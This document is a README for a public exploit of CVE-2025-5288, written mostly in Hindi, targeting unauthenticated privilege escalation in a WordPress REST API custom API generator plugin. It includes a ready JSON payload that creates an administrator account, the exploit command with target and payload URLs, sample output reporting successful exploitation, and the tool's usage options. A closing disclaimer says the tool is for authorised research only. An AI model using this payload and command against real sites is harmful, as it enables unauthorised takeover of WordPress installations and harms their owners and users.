nxploited/cve-2025-5288वर्डप्रेस REST API | WP 1.0.0 - 2.0.3 में क्रॉस प्लेटफ़ॉर्म और आयात निर्यात के लिए कस्टम API जनरेटर - अनधिकृत अनुमति से अप्रमाणित विशेषाधिकार वृद्धि
WordPress के लिए REST API | Custom API Generator For Cross Platform And Import Export In WP प्लगइन संस्करण 1.0.0 से 2.0.3 में process_handler() फ़ंक्शन पर क्षमता जाँच की कमी के कारण विशेषाधिकार वृद्धि के लिए असुरक्षित है।
यह अनधिकृत हमलावरों को एक विशेष रूप से तैयार user.json फ़ाइल को एक खुले एंडपॉइंट पर भेजने और एक नया प्रशासक खाता बनाने की अनुमति देता है।
[
{
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
]
python3 CVE-2025-5288.py -u http://192.168.100.74:888/wordpress/ -json http://192.168.100.74:888/user.json
[+] Target appears vulnerable (version: 2.0.3) - exploiting...
[*] Fetching JSON payload from: http://192.168.100.74:888/user.json
[+] JSON content loaded successfully:
[1] {
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
[*] Launching exploitation...
[+] Exploit delivered successfully.
[+] Payload Sent:
[
{
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
]
usage: CVE-2025-5288.py [-h] -u URL -json URL_JSON [--proxy PROXY] [--timeout TIMEOUT] [--no-verify] [--no-sleep] [--debug]
Unauthenticated Privilege Escalation - by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Base URL of WordPress site (e.g., http://target/wp/)
-json, --url_json URL_JSON
URL to hosted R.json payload
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--timeout TIMEOUT HTTP timeout in seconds (default: 10)
--no-verify Disable SSL certificate verification (NOT recommended!)
--no-sleep Disable sleep delays for faster execution
--debug Enable debug output
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। अनुमति के बिना सिस्टम तक अनधिकृत पहुंच अवैध है।
द्वारा: Nxploited (Khaled_alenazi)